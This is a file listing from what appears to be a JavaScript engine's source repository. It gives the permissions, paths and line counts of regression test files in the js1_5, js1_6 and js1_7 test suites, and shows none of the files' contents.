-rw-r--r--js/src/tests/js1_5/Regress/regress-39309.js76
-rw-r--r--js/src/tests/js1_5/Regress/regress-396684.js48
-rw-r--r--js/src/tests/js1_5/Regress/regress-398085-01.js745
-rw-r--r--js/src/tests/js1_5/Regress/regress-398085-02.js728
-rw-r--r--js/src/tests/js1_5/Regress/regress-398609.js39
-rw-r--r--js/src/tests/js1_5/Regress/regress-404755.js50
-rw-r--r--js/src/tests/js1_5/Regress/regress-406769.js155
-rw-r--r--js/src/tests/js1_5/Regress/regress-407024.js20
-rw-r--r--js/src/tests/js1_5/Regress/regress-407957.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-410852.js37
-rw-r--r--js/src/tests/js1_5/Regress/regress-416737-01.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-416737-02.js33
-rw-r--r--js/src/tests/js1_5/Regress/regress-417893.js36
-rw-r--r--js/src/tests/js1_5/Regress/regress-418540.js62
-rw-r--r--js/src/tests/js1_5/Regress/regress-419018.js47
-rw-r--r--js/src/tests/js1_5/Regress/regress-419803.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-420919.js37
-rw-r--r--js/src/tests/js1_5/Regress/regress-422348.js38
-rw-r--r--js/src/tests/js1_5/Regress/regress-424311.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-425360.js42
-rw-r--r--js/src/tests/js1_5/Regress/regress-426827.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-428366.js21
-rw-r--r--js/src/tests/js1_5/Regress/regress-438415-01.js27
-rw-r--r--js/src/tests/js1_5/Regress/regress-438415-02.js31
-rw-r--r--js/src/tests/js1_5/Regress/regress-440926.js31
-rw-r--r--js/src/tests/js1_5/Regress/regress-449627.js114
-rw-r--r--js/src/tests/js1_5/Regress/regress-449666.js65
-rw-r--r--js/src/tests/js1_5/Regress/regress-450369.js310
-rw-r--r--js/src/tests/js1_5/Regress/regress-450833.js45
-rwxr-xr-xjs/src/tests/js1_5/Regress/regress-451322.js37
-rw-r--r--js/src/tests/js1_5/Regress/regress-451884.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-451946.js32
-rw-r--r--js/src/tests/js1_5/Regress/regress-452008.js151
-rw-r--r--js/src/tests/js1_5/Regress/regress-452170.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452189.js23
-rw-r--r--js/src/tests/js1_5/Regress/regress-452333.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452336.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452346.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-452495.js19
-rw-r--r--js/src/tests/js1_5/Regress/regress-452573-01.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452573-02.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452713.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452724-01.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452724-02.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452742-01.js51
-rw-r--r--js/src/tests/js1_5/Regress/regress-452742-02.js56
-rw-r--r--js/src/tests/js1_5/Regress/regress-452853.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452884-01.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-452884-02.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-453024.js45
-rw-r--r--js/src/tests/js1_5/Regress/regress-453173.js31
-rw-r--r--js/src/tests/js1_5/Regress/regress-453397.js46
-rw-r--r--js/src/tests/js1_5/Regress/regress-453701.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-453747.js37
-rw-r--r--js/src/tests/js1_5/Regress/regress-454682.js33
-rw-r--r--js/src/tests/js1_5/Regress/regress-454981.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-455605.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-455748.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-455758-01.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-455758-02.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-455775.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-456470.js38
-rw-r--r--js/src/tests/js1_5/Regress/regress-456477-01.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-456477-02.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-456494.js48
-rw-r--r--js/src/tests/js1_5/Regress/regress-456540-01.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-456540-02.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-457065-03.js32
-rw-r--r--js/src/tests/js1_5/Regress/regress-457456.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-457778.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-458851.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-459085.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-459628.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-459990.js33
-rw-r--r--js/src/tests/js1_5/Regress/regress-460024.js39
-rw-r--r--js/src/tests/js1_5/Regress/regress-460117.js45
-rw-r--r--js/src/tests/js1_5/Regress/regress-460886-01.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-460886-02.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-461307.js31
-rw-r--r--js/src/tests/js1_5/Regress/regress-461723.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-462292.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-462879.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-462989.js31
-rw-r--r--js/src/tests/js1_5/Regress/regress-463259.js27
-rw-r--r--js/src/tests/js1_5/Regress/regress-463782.js66
-rw-r--r--js/src/tests/js1_5/Regress/regress-464334.js36
-rw-r--r--js/src/tests/js1_5/Regress/regress-464862.js123
-rw-r--r--js/src/tests/js1_5/Regress/regress-465013.js39
-rw-r--r--js/src/tests/js1_5/Regress/regress-465132.js43
-rw-r--r--js/src/tests/js1_5/Regress/regress-465133.js33
-rw-r--r--js/src/tests/js1_5/Regress/regress-465135.js33
-rw-r--r--js/src/tests/js1_5/Regress/regress-465136.js33
-rw-r--r--js/src/tests/js1_5/Regress/regress-465137.js33
-rw-r--r--js/src/tests/js1_5/Regress/regress-465262.js32
-rw-r--r--js/src/tests/js1_5/Regress/regress-465272.js32
-rw-r--r--js/src/tests/js1_5/Regress/regress-465347.js52
-rw-r--r--js/src/tests/js1_5/Regress/regress-465366.js39
-rw-r--r--js/src/tests/js1_5/Regress/regress-466262.js34
-rw-r--r--js/src/tests/js1_5/Regress/regress-466747.js59
-rw-r--r--js/src/tests/js1_5/Regress/regress-469044.js71
-rw-r--r--js/src/tests/js1_5/Regress/regress-470061.js43
-rw-r--r--js/src/tests/js1_5/Regress/regress-470187-01.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-470187-02.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-470758-01.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-470758-02.js32
-rw-r--r--js/src/tests/js1_5/Regress/regress-472533.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-475645-01.js47
-rw-r--r--js/src/tests/js1_5/Regress/regress-475645-02.js54
-rw-r--r--js/src/tests/js1_5/Regress/regress-476049.js43
-rw-r--r--js/src/tests/js1_5/Regress/regress-476192.js38
-rw-r--r--js/src/tests/js1_5/Regress/regress-477733.js42
-rw-r--r--js/src/tests/js1_5/Regress/regress-477758.js50
-rw-r--r--js/src/tests/js1_5/Regress/regress-478314.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-479353.js28
-rw-r--r--js/src/tests/js1_5/Regress/regress-480147.js32
-rw-r--r--js/src/tests/js1_5/Regress/regress-480244.js51
-rw-r--r--js/src/tests/js1_5/Regress/regress-481436.js38
-rw-r--r--js/src/tests/js1_5/Regress/regress-482421.js26
-rw-r--r--js/src/tests/js1_5/Regress/regress-482783.js32
-rw-r--r--js/src/tests/js1_5/Regress/regress-483103.js33
-rw-r--r--js/src/tests/js1_5/Regress/regress-501124.js43
-rw-r--r--js/src/tests/js1_5/Regress/regress-503860.js24
-rw-r--r--js/src/tests/js1_5/Regress/regress-504078.js51
-rw-r--r--js/src/tests/js1_5/Regress/regress-506567.js45
-rw-r--r--js/src/tests/js1_5/Regress/regress-511859.js150
-rw-r--r--js/src/tests/js1_5/Regress/regress-57043.js79
-rw-r--r--js/src/tests/js1_5/Regress/regress-58116.js30
-rw-r--r--js/src/tests/js1_5/Regress/regress-68498-001.js44
-rw-r--r--js/src/tests/js1_5/Regress/regress-68498-002.js67
-rw-r--r--js/src/tests/js1_5/Regress/regress-68498-003.js71
-rw-r--r--js/src/tests/js1_5/Regress/regress-68498-004.js99
-rw-r--r--js/src/tests/js1_5/Regress/regress-69607.js42
-rw-r--r--js/src/tests/js1_5/Regress/regress-71107.js46
-rw-r--r--js/src/tests/js1_5/Regress/regress-76054.js126
-rw-r--r--js/src/tests/js1_5/Regress/regress-80981.js3111
-rw-r--r--js/src/tests/js1_5/Regress/regress-82306.js48
-rw-r--r--js/src/tests/js1_5/Regress/regress-89443.js2119
-rw-r--r--js/src/tests/js1_5/Regress/regress-89474.js50
-rw-r--r--js/src/tests/js1_5/Regress/regress-90445.js295
-rw-r--r--js/src/tests/js1_5/Regress/regress-96128-n.js51
-rw-r--r--js/src/tests/js1_5/Regress/regress-96526-001.js503
-rw-r--r--js/src/tests/js1_5/Regress/regress-96526-002.js29
-rw-r--r--js/src/tests/js1_5/Regress/regress-96526-003.js4404
-rw-r--r--js/src/tests/js1_5/Regress/regress-98901.js3892
-rw-r--r--js/src/tests/js1_5/Regress/shell.js0
-rw-r--r--js/src/tests/js1_5/Scope/browser.js0
-rw-r--r--js/src/tests/js1_5/Scope/regress-154693.js67
-rw-r--r--js/src/tests/js1_5/Scope/regress-181834.js149
-rw-r--r--js/src/tests/js1_5/Scope/regress-184107.js93
-rw-r--r--js/src/tests/js1_5/Scope/regress-185485.js129
-rw-r--r--js/src/tests/js1_5/Scope/regress-191276.js94
-rw-r--r--js/src/tests/js1_5/Scope/regress-192226.js91
-rw-r--r--js/src/tests/js1_5/Scope/regress-202678-001.js102
-rw-r--r--js/src/tests/js1_5/Scope/regress-202678-002.js103
-rw-r--r--js/src/tests/js1_5/Scope/regress-208496-001.js140
-rw-r--r--js/src/tests/js1_5/Scope/regress-208496-002.js132
-rw-r--r--js/src/tests/js1_5/Scope/regress-220362.js82
-rw-r--r--js/src/tests/js1_5/Scope/regress-446026-01.js51
-rw-r--r--js/src/tests/js1_5/Scope/regress-446026-02.js27
-rw-r--r--js/src/tests/js1_5/Scope/regress-77578-001.js150
-rw-r--r--js/src/tests/js1_5/Scope/scope-002.js108
-rw-r--r--js/src/tests/js1_5/Scope/scope-003.js109
-rw-r--r--js/src/tests/js1_5/Scope/scope-004.js191
-rw-r--r--js/src/tests/js1_5/Scope/shell.js0
-rw-r--r--js/src/tests/js1_5/String/browser.js0
-rw-r--r--js/src/tests/js1_5/String/regress-107771.js91
-rw-r--r--js/src/tests/js1_5/String/regress-112626.js18
-rw-r--r--js/src/tests/js1_5/String/regress-179068.js125
-rw-r--r--js/src/tests/js1_5/String/replace-flags.js25
-rw-r--r--js/src/tests/js1_5/String/shell.js0
-rw-r--r--js/src/tests/js1_5/browser.js0
-rw-r--r--js/src/tests/js1_5/extensions/browser.js0
-rw-r--r--js/src/tests/js1_5/extensions/catchguard-001-n.js43
-rw-r--r--js/src/tests/js1_5/extensions/catchguard-001.js47
-rw-r--r--js/src/tests/js1_5/extensions/catchguard-002.js43
-rw-r--r--js/src/tests/js1_5/extensions/catchguard-003.js58
-rw-r--r--js/src/tests/js1_5/extensions/getset-001.js51
-rw-r--r--js/src/tests/js1_5/extensions/getset-003.js189
-rw-r--r--js/src/tests/js1_5/extensions/getset-004.js177
-rw-r--r--js/src/tests/js1_5/extensions/getset-005.js186
-rw-r--r--js/src/tests/js1_5/extensions/getset-006.js160
-rw-r--r--js/src/tests/js1_5/extensions/regress-104077.js196
-rw-r--r--js/src/tests/js1_5/extensions/regress-178722.js93
-rw-r--r--js/src/tests/js1_5/extensions/regress-192465.js123
-rw-r--r--js/src/tests/js1_5/extensions/regress-225831.js162
-rw-r--r--js/src/tests/js1_5/extensions/regress-226078.js27
-rw-r--r--js/src/tests/js1_5/extensions/regress-226507.js153
-rw-r--r--js/src/tests/js1_5/extensions/regress-231518.js101
-rw-r--r--js/src/tests/js1_5/extensions/regress-237461.js46
-rw-r--r--js/src/tests/js1_5/extensions/regress-245148.js21
-rw-r--r--js/src/tests/js1_5/extensions/regress-245795.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-254375.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-255245.js30
-rw-r--r--js/src/tests/js1_5/extensions/regress-291213.js48
-rw-r--r--js/src/tests/js1_5/extensions/regress-300079.js47
-rw-r--r--js/src/tests/js1_5/extensions/regress-303277.js19
-rw-r--r--js/src/tests/js1_5/extensions/regress-304897.js20
-rw-r--r--js/src/tests/js1_5/extensions/regress-306738.js25
-rw-r--r--js/src/tests/js1_5/extensions/regress-311161.js1438
-rw-r--r--js/src/tests/js1_5/extensions/regress-311583.js21
-rw-r--r--js/src/tests/js1_5/extensions/regress-311792-01.js26
-rw-r--r--js/src/tests/js1_5/extensions/regress-311792-02.js40
-rw-r--r--js/src/tests/js1_5/extensions/regress-313763.js46
-rw-r--r--js/src/tests/js1_5/extensions/regress-313803.js24
-rw-r--r--js/src/tests/js1_5/extensions/regress-313938.js54
-rw-r--r--js/src/tests/js1_5/extensions/regress-314874.js40
-rw-r--r--js/src/tests/js1_5/extensions/regress-315509-02.js42
-rw-r--r--js/src/tests/js1_5/extensions/regress-319683.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-322957.js27
-rw-r--r--js/src/tests/js1_5/extensions/regress-327608.js48
-rw-r--r--js/src/tests/js1_5/extensions/regress-328443.js32
-rw-r--r--js/src/tests/js1_5/extensions/regress-328556.js19
-rw-r--r--js/src/tests/js1_5/extensions/regress-330569.js94
-rw-r--r--js/src/tests/js1_5/extensions/regress-333541.js57
-rw-r--r--js/src/tests/js1_5/extensions/regress-336409-1.js50
-rw-r--r--js/src/tests/js1_5/extensions/regress-336409-2.js49
-rw-r--r--js/src/tests/js1_5/extensions/regress-336410-1.js50
-rw-r--r--js/src/tests/js1_5/extensions/regress-336410-2.js49
-rw-r--r--js/src/tests/js1_5/extensions/regress-338804-01.js69
-rw-r--r--js/src/tests/js1_5/extensions/regress-338804-02.js70
-rw-r--r--js/src/tests/js1_5/extensions/regress-338804-03.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-339685.js27
-rw-r--r--js/src/tests/js1_5/extensions/regress-341956-01.js68
-rw-r--r--js/src/tests/js1_5/extensions/regress-341956-02.js55
-rw-r--r--js/src/tests/js1_5/extensions/regress-341956-03.js72
-rw-r--r--js/src/tests/js1_5/extensions/regress-342960.js46
-rw-r--r--js/src/tests/js1_5/extensions/regress-345967.js68
-rw-r--r--js/src/tests/js1_5/extensions/regress-346494-01.js90
-rw-r--r--js/src/tests/js1_5/extensions/regress-346494.js82
-rw-r--r--js/src/tests/js1_5/extensions/regress-350312-01.js50
-rw-r--r--js/src/tests/js1_5/extensions/regress-350312-02.js112
-rw-r--r--js/src/tests/js1_5/extensions/regress-350312-03.js116
-rw-r--r--js/src/tests/js1_5/extensions/regress-350531.js156
-rw-r--r--js/src/tests/js1_5/extensions/regress-351102-01.js39
-rw-r--r--js/src/tests/js1_5/extensions/regress-351102-02.js45
-rw-r--r--js/src/tests/js1_5/extensions/regress-351102-06.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-351448.js62
-rw-r--r--js/src/tests/js1_5/extensions/regress-351463-01.js254
-rw-r--r--js/src/tests/js1_5/extensions/regress-351973.js51
-rw-r--r--js/src/tests/js1_5/extensions/regress-352281.js35
-rw-r--r--js/src/tests/js1_5/extensions/regress-352291.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-352372.js65
-rw-r--r--js/src/tests/js1_5/extensions/regress-352604.js33
-rw-r--r--js/src/tests/js1_5/extensions/regress-354297.js30
-rw-r--r--js/src/tests/js1_5/extensions/regress-354541-01.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-354541-02.js43
-rw-r--r--js/src/tests/js1_5/extensions/regress-354541-03.js55
-rw-r--r--js/src/tests/js1_5/extensions/regress-354541-04.js60
-rw-r--r--js/src/tests/js1_5/extensions/regress-355339.js32
-rw-r--r--js/src/tests/js1_5/extensions/regress-355497.js60
-rw-r--r--js/src/tests/js1_5/extensions/regress-355622.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-355655.js45
-rw-r--r--js/src/tests/js1_5/extensions/regress-355820.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-355982.js43
-rw-r--r--js/src/tests/js1_5/extensions/regress-356402.js23
-rw-r--r--js/src/tests/js1_5/extensions/regress-358594-01.js32
-rw-r--r--js/src/tests/js1_5/extensions/regress-358594-02.js21
-rw-r--r--js/src/tests/js1_5/extensions/regress-358594-03.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-358594-04.js21
-rw-r--r--js/src/tests/js1_5/extensions/regress-358594-05.js32
-rw-r--r--js/src/tests/js1_5/extensions/regress-358594-06.js21
-rw-r--r--js/src/tests/js1_5/extensions/regress-359024.js36
-rw-r--r--js/src/tests/js1_5/extensions/regress-361346.js22
-rw-r--r--js/src/tests/js1_5/extensions/regress-361360.js32
-rw-r--r--js/src/tests/js1_5/extensions/regress-361552.js27
-rw-r--r--js/src/tests/js1_5/extensions/regress-361558.js19
-rw-r--r--js/src/tests/js1_5/extensions/regress-361571.js38
-rw-r--r--js/src/tests/js1_5/extensions/regress-361856.js35
-rw-r--r--js/src/tests/js1_5/extensions/regress-361964.js54
-rw-r--r--js/src/tests/js1_5/extensions/regress-363258.js48
-rw-r--r--js/src/tests/js1_5/extensions/regress-363988.js47
-rw-r--r--js/src/tests/js1_5/extensions/regress-365527.js66
-rw-r--r--js/src/tests/js1_5/extensions/regress-365692.js40
-rw-r--r--js/src/tests/js1_5/extensions/regress-365869.js48
-rw-r--r--js/src/tests/js1_5/extensions/regress-366288.js18
-rw-r--r--js/src/tests/js1_5/extensions/regress-366292.js19
-rw-r--r--js/src/tests/js1_5/extensions/regress-366396.js17
-rw-r--r--js/src/tests/js1_5/extensions/regress-367118-01.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-367118-02.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-367119-01.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-367119-02.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-367120-01.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-367120-02.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-367121.js64
-rw-r--r--js/src/tests/js1_5/extensions/regress-367501-01.js35
-rw-r--r--js/src/tests/js1_5/extensions/regress-367501-02.js37
-rw-r--r--js/src/tests/js1_5/extensions/regress-367501-03.js38
-rw-r--r--js/src/tests/js1_5/extensions/regress-367501-04.js38
-rw-r--r--js/src/tests/js1_5/extensions/regress-367589.js49
-rw-r--r--js/src/tests/js1_5/extensions/regress-369404.js48
-rw-r--r--js/src/tests/js1_5/extensions/regress-369696-01.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-369696-02.js58
-rw-r--r--js/src/tests/js1_5/extensions/regress-369696-03.js47
-rw-r--r--js/src/tests/js1_5/extensions/regress-372309.js47
-rw-r--r--js/src/tests/js1_5/extensions/regress-374589.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-375183.js62
-rw-r--r--js/src/tests/js1_5/extensions/regress-375344.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-375801.js36
-rw-r--r--js/src/tests/js1_5/extensions/regress-380581.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-380889.js40
-rw-r--r--js/src/tests/js1_5/extensions/regress-381211.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-381304.js69
-rw-r--r--js/src/tests/js1_5/extensions/regress-385134.js38
-rw-r--r--js/src/tests/js1_5/extensions/regress-385393-02.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-385393-09.js18
-rw-r--r--js/src/tests/js1_5/extensions/regress-390597.js42
-rw-r--r--js/src/tests/js1_5/extensions/regress-390598.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-394967.js42
-rw-r--r--js/src/tests/js1_5/extensions/regress-396326.js48
-rw-r--r--js/src/tests/js1_5/extensions/regress-406572.js47
-rw-r--r--js/src/tests/js1_5/extensions/regress-407501.js42
-rw-r--r--js/src/tests/js1_5/extensions/regress-407720.js52
-rw-r--r--js/src/tests/js1_5/extensions/regress-412926.js57
-rw-r--r--js/src/tests/js1_5/extensions/regress-414755.js54
-rw-r--r--js/src/tests/js1_5/extensions/regress-416354.js48
-rw-r--r--js/src/tests/js1_5/extensions/regress-416460.js30
-rw-r--r--js/src/tests/js1_5/extensions/regress-416834.js20
-rw-r--r--js/src/tests/js1_5/extensions/regress-418730.js32
-rw-r--r--js/src/tests/js1_5/extensions/regress-420612.js21
-rw-r--r--js/src/tests/js1_5/extensions/regress-420869-01.js40
-rw-r--r--js/src/tests/js1_5/extensions/regress-421621.js22
-rw-r--r--js/src/tests/js1_5/extensions/regress-422592.js68
-rw-r--r--js/src/tests/js1_5/extensions/regress-424683-01.js36
-rw-r--r--js/src/tests/js1_5/extensions/regress-426711.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-427196-01.js40
-rw-r--r--js/src/tests/js1_5/extensions/regress-427196-02.js37
-rw-r--r--js/src/tests/js1_5/extensions/regress-427196-03.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-429739.js36
-rw-r--r--js/src/tests/js1_5/extensions/regress-432075.js25
-rw-r--r--js/src/tests/js1_5/extensions/regress-434837-01.js90
-rw-r--r--js/src/tests/js1_5/extensions/regress-435345-01.js100
-rw-r--r--js/src/tests/js1_5/extensions/regress-435497-01.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-435497-02.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-435497-03.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-436741.js35
-rw-r--r--js/src/tests/js1_5/extensions/regress-437288-01.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-44009.js52
-rw-r--r--js/src/tests/js1_5/extensions/regress-443569.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-446386.js47
-rw-r--r--js/src/tests/js1_5/extensions/regress-452168.js42
-rw-r--r--js/src/tests/js1_5/extensions/regress-452178.js30
-rw-r--r--js/src/tests/js1_5/extensions/regress-452329.js27
-rw-r--r--js/src/tests/js1_5/extensions/regress-452338.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-452565.js19
-rw-r--r--js/src/tests/js1_5/extensions/regress-453249.js21
-rw-r--r--js/src/tests/js1_5/extensions/regress-454040.js25
-rw-r--r--js/src/tests/js1_5/extensions/regress-454142.js30
-rw-r--r--js/src/tests/js1_5/extensions/regress-454704.js54
-rw-r--r--js/src/tests/js1_5/extensions/regress-455380.js60
-rw-r--r--js/src/tests/js1_5/extensions/regress-455408.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-455413.js24
-rw-r--r--js/src/tests/js1_5/extensions/regress-459606.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-462734-02.js26
-rw-r--r--js/src/tests/js1_5/extensions/regress-462734-03.js25
-rw-r--r--js/src/tests/js1_5/extensions/regress-462734-04.js29
-rw-r--r--js/src/tests/js1_5/extensions/regress-465145.js24
-rw-r--r--js/src/tests/js1_5/extensions/regress-465276.js34
-rw-r--r--js/src/tests/js1_5/extensions/regress-469625.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-469761.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-472599.js32
-rwxr-xr-xjs/src/tests/js1_5/extensions/regress-472787.js31
-rw-r--r--js/src/tests/js1_5/extensions/regress-476447.js33
-rw-r--r--js/src/tests/js1_5/extensions/regress-479487.js44
-rw-r--r--js/src/tests/js1_5/extensions/regress-479551.js42
-rw-r--r--js/src/tests/js1_5/extensions/regress-480579.js38
-rw-r--r--js/src/tests/js1_5/extensions/regress-481516.js41
-rw-r--r--js/src/tests/js1_5/extensions/regress-488995.js46
-rw-r--r--js/src/tests/js1_5/extensions/regress-50447-1.js173
-rw-r--r--js/src/tests/js1_5/extensions/regress-50447.js134
-rw-r--r--js/src/tests/js1_5/extensions/regress-543839.js36
-rw-r--r--js/src/tests/js1_5/extensions/regress-90596-001.js265
-rw-r--r--js/src/tests/js1_5/extensions/regress-90596-002.js265
-rw-r--r--js/src/tests/js1_5/extensions/regress-96284-001.js148
-rw-r--r--js/src/tests/js1_5/extensions/regress-96284-002.js148
-rw-r--r--js/src/tests/js1_5/extensions/scope-001.js88
-rw-r--r--js/src/tests/js1_5/extensions/shell.js0
-rw-r--r--js/src/tests/js1_5/extensions/toLocaleFormat-01.js230
-rw-r--r--js/src/tests/js1_5/extensions/toLocaleFormat-02.js105
-rw-r--r--js/src/tests/js1_5/shell.js0
-rw-r--r--js/src/tests/js1_5/template.js28
-rw-r--r--js/src/tests/js1_6/Array/browser.js0
-rw-r--r--js/src/tests/js1_6/Array/filter.js53
-rw-r--r--js/src/tests/js1_6/Array/generics.js331
-rw-r--r--js/src/tests/js1_6/Array/regress-290592.js661
-rw-r--r--js/src/tests/js1_6/Array/regress-304828.js256
-rw-r--r--js/src/tests/js1_6/Array/regress-305002.js25
-rw-r--r--js/src/tests/js1_6/Array/regress-310425-01.js27
-rw-r--r--js/src/tests/js1_6/Array/regress-310425-02.js17
-rw-r--r--js/src/tests/js1_6/Array/regress-320887.js27
-rw-r--r--js/src/tests/js1_6/Array/regress-352742-01.js39
-rw-r--r--js/src/tests/js1_6/Array/regress-352742-02.js32
-rw-r--r--js/src/tests/js1_6/Array/regress-386030.js67
-rw-r--r--js/src/tests/js1_6/Array/regress-415451.js24
-rw-r--r--js/src/tests/js1_6/Array/regress-415540.js21
-rw-r--r--js/src/tests/js1_6/Array/regress-566651.js20
-rw-r--r--js/src/tests/js1_6/Array/shell.js0
-rw-r--r--js/src/tests/js1_6/README1
-rw-r--r--js/src/tests/js1_6/Regress/browser.js0
-rw-r--r--js/src/tests/js1_6/Regress/regress-311157-01.js24
-rw-r--r--js/src/tests/js1_6/Regress/regress-311157-02.js24
-rw-r--r--js/src/tests/js1_6/Regress/regress-320172.js25
-rw-r--r--js/src/tests/js1_6/Regress/regress-351795.js35
-rw-r--r--js/src/tests/js1_6/Regress/regress-352271.js34
-rw-r--r--js/src/tests/js1_6/Regress/regress-353078.js32
-rw-r--r--js/src/tests/js1_6/Regress/regress-355002.js37
-rw-r--r--js/src/tests/js1_6/Regress/regress-372565.js28
-rw-r--r--js/src/tests/js1_6/Regress/regress-475469.js33
-rw-r--r--js/src/tests/js1_6/Regress/regress-476655.js40
-rw-r--r--js/src/tests/js1_6/Regress/shell.js0
-rw-r--r--js/src/tests/js1_6/String/browser.js0
-rw-r--r--js/src/tests/js1_6/String/generics.js228
-rw-r--r--js/src/tests/js1_6/String/regress-306591.js76
-rw-r--r--js/src/tests/js1_6/String/shell.js0
-rw-r--r--js/src/tests/js1_6/browser.js0
-rw-r--r--js/src/tests/js1_6/extensions/browser.js0
-rw-r--r--js/src/tests/js1_6/extensions/nested-for-each.js39
-rw-r--r--js/src/tests/js1_6/extensions/regress-312385-01.js129
-rw-r--r--js/src/tests/js1_6/extensions/regress-385393-08.js25
-rw-r--r--js/src/tests/js1_6/extensions/regress-414098.js34
-rw-r--r--js/src/tests/js1_6/extensions/regress-455464-01.js20
-rw-r--r--js/src/tests/js1_6/extensions/regress-455464-02.js30
-rw-r--r--js/src/tests/js1_6/extensions/regress-455464-03.js32
-rw-r--r--js/src/tests/js1_6/extensions/regress-455464-04.js33
-rw-r--r--js/src/tests/js1_6/extensions/regress-456826.js128
-rw-r--r--js/src/tests/js1_6/extensions/regress-457521.js24
-rw-r--r--js/src/tests/js1_6/extensions/regress-465443.js39
-rw-r--r--js/src/tests/js1_6/extensions/regress-470310.js33
-rw-r--r--js/src/tests/js1_6/extensions/regress-472508.js23
-rw-r--r--js/src/tests/js1_6/extensions/regress-479567.js33
-rw-r--r--js/src/tests/js1_6/extensions/regress-565521.js40
-rw-r--r--js/src/tests/js1_6/extensions/shell.js0
-rw-r--r--js/src/tests/js1_6/shell.js12
-rw-r--r--js/src/tests/js1_6/template.js28
-rw-r--r--js/src/tests/js1_7/GC/browser.js0
-rw-r--r--js/src/tests/js1_7/GC/regress-341675.js35
-rw-r--r--js/src/tests/js1_7/GC/regress-381374.js60
-rw-r--r--js/src/tests/js1_7/GC/shell.js0
-rw-r--r--js/src/tests/js1_7/README1
-rw-r--r--js/src/tests/js1_7/browser.js0
-rw-r--r--js/src/tests/js1_7/expressions/browser.js0
-rw-r--r--js/src/tests/js1_7/expressions/destructuring-scope.js67
-rw-r--r--js/src/tests/js1_7/expressions/regress-346203.js28
-rw-r--r--js/src/tests/js1_7/expressions/regress-346645-01.js34
-rw-r--r--js/src/tests/js1_7/expressions/regress-346645-02.js34
-rw-r--r--js/src/tests/js1_7/expressions/regress-346645-03.js34
-rw-r--r--js/src/tests/js1_7/expressions/regress-418051.js34
-rw-r--r--js/src/tests/js1_7/expressions/regress-451340.js27
-rw-r--r--js/src/tests/js1_7/expressions/shell.js0
-rw-r--r--js/src/tests/js1_7/extensions/basic-Iterator.js165
-rw-r--r--js/src/tests/js1_7/extensions/basic-for-each.js90
-rw-r--r--js/src/tests/js1_7/extensions/basic-for-in.js78
